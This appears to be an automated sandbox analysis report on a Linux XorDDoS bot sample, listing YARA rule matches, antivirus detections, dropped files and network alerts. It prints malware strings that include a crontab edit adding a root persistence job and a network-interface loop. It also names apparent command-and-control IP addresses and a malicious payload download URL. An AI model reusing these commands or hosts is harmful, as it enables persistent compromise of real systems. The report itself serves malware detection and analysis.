5369.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5460.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5460.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5334.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5334.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5259.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5259.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5446.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5446.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5549.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5549.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5384.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5384.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5458.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5458.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5498.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5498.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5423.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5423.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5371.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5371.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5489.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5489.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5353.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5353.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5350.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5350.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5221.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5221.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Process Memory Space: 0Xorddos.o PID: 5221	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5223	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5224	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5225	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5254	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5259	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5261	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5264	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5267	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5273	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5276	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5279	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5281	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5284	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5291	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5294	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5296	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5299	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5302	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5308	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5311	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5313	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5316	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5319	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5326	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5329	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5332	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5334	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5337	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5345	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5348	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5350	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5353	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5356	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5363	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5366	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5369	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5371	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5374	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5384	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5387	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5389	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5392	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5395	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5401	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5404	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5407	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5410	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5412	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5418	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5421	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5423	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5426	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5428	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5435	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: 0Xorddos.o PID: 5438	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Click to see the 225 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0Xorddos.o

Avira: detected

Multi AV Scanner detection for submitted file

Source: 0Xorddos.o	Virustotal: Detection: 66%			Perma Link
Source: 0Xorddos.o	Metadefender: Detection: 67%			Perma Link
Source: 0Xorddos.o	ReversingLabs: Detection: 83%

Antivirus detection for dropped file

Source: /usr/bin/njezqqgxiu	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/uqxezzsakx	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/ysrkbnorkl	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/cukrqcagnz	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/cvvhpkxdyk	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/tngemhgnzk	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/qizbpqmtbi	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/lib/libudev.so	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/cvltgpdmgk	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/zareoppgxh	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/gbsknxiwip	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/gpcmhoiszu	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/aoyymackpm	Avira: detection malicious, Label: LINUX/Xorddos.cona
Source: /usr/bin/wzulpfbuxk	Avira: detection malicious, Label: LINUX/Xorddos.cona

Machine Learning detection for dropped file

Source: /usr/bin/njezqqgxiu	Joe Sandbox ML: detected
Source: /usr/bin/uqxezzsakx	Joe Sandbox ML: detected
Source: /usr/bin/ysrkbnorkl	Joe Sandbox ML: detected
Source: /usr/bin/cukrqcagnz	Joe Sandbox ML: detected
Source: /usr/bin/cvvhpkxdyk	Joe Sandbox ML: detected
Source: /usr/bin/tngemhgnzk	Joe Sandbox ML: detected
Source: /usr/bin/qizbpqmtbi	Joe Sandbox ML: detected
Source: /usr/lib/libudev.so	Joe Sandbox ML: detected
Source: /usr/bin/cvltgpdmgk	Joe Sandbox ML: detected
Source: /usr/bin/zareoppgxh	Joe Sandbox ML: detected
Source: /usr/bin/gbsknxiwip	Joe Sandbox ML: detected
Source: /usr/bin/gpcmhoiszu	Joe Sandbox ML: detected
Source: /usr/bin/aoyymackpm	Joe Sandbox ML: detected
Source: /usr/bin/wzulpfbuxk	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 0Xorddos.o

Joe Sandbox ML: detected

Source: /tmp/0Xorddos.o (PID: 5222)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2021336 ET TROJAN DDoS.XOR Checkin via HTTP 192.168.2.23:57652 -> 54.36.15.99:80
Source: Traffic	Snort IDS: 2020381 ET TROJAN DDoS.XOR Checkin 192.168.2.23:45968 -> 54.36.15.99:53

Source: global traffic	TCP traffic: 192.168.2.23:53168 -> 176.31.91.137:53
Source: global traffic	TCP traffic: 192.168.2.23:45968 -> 54.36.15.99:53
Source: global traffic	TCP traffic: 192.168.2.23:46646 -> 46.105.84.190:53
Source: global traffic	TCP traffic: 192.168.2.23:38664 -> 51.89.52.12:53
Source: global traffic	TCP traffic: 192.168.2.23:38656 -> 51.89.52.12:53
Source: global traffic	TCP traffic: 192.168.2.23:38648 -> 51.89.52.12:53
Source: global traffic	TCP traffic: 192.168.2.23:33252 -> 79.137.1.132:53
Source: global traffic	TCP traffic: 192.168.2.23:33268 -> 79.137.1.132:53
Source: global traffic	TCP traffic: 192.168.2.23:41926 -> 54.36.145.106:53

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.52.12
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.52.12
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 51.89.52.12
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: 0Xorddos.o, njezqqgxiu.11.dr, uqxezzsakx.11.dr, ysrkbnorkl.11.dr, cukrqcagnz.11.dr, cvvhpkxdyk.11.dr, tngemhgnzk.11.dr, qizbpqmtbi.11.dr, libudev.so.11.dr, cvltgpdmgk.11.dr, zareoppgxh.11.dr, gbsknxiwip.11.dr, gpcmhoiszu.11.dr, aoyymackpm.11.dr, wzulpfbuxk.11.dr	String found in binary or memory: http://www.gnu.org/software/libc/bugs.html
Source: 0Xorddos.o, 5221.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5223.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5224.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5225.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5254.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5259.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5261.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5264.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5267.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5273.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5276.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5279.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5281.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5284.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5291.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5294.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5296.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5299.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5302.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5308.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5311.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar
Source: 0Xorddos.o, 5221.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5223.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5224.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5225.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9/t
Source: 0Xorddos.o, 5401.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5404.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5407.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5410.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5412.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ao
Source: 0Xorddos.o, 5273.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5276.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5279.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5281.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5284.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cu
Source: 0Xorddos.o, 5326.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5329.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5332.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5334.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5337.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5472.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5475.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5478.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5480.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5482.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cv
Source: 0Xorddos.o, 5509.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5512.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5515.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5517.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5521.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cx
Source: 0Xorddos.o, 5418.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5421.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5423.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5426.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5428.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	String found in binary or memory: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9gb
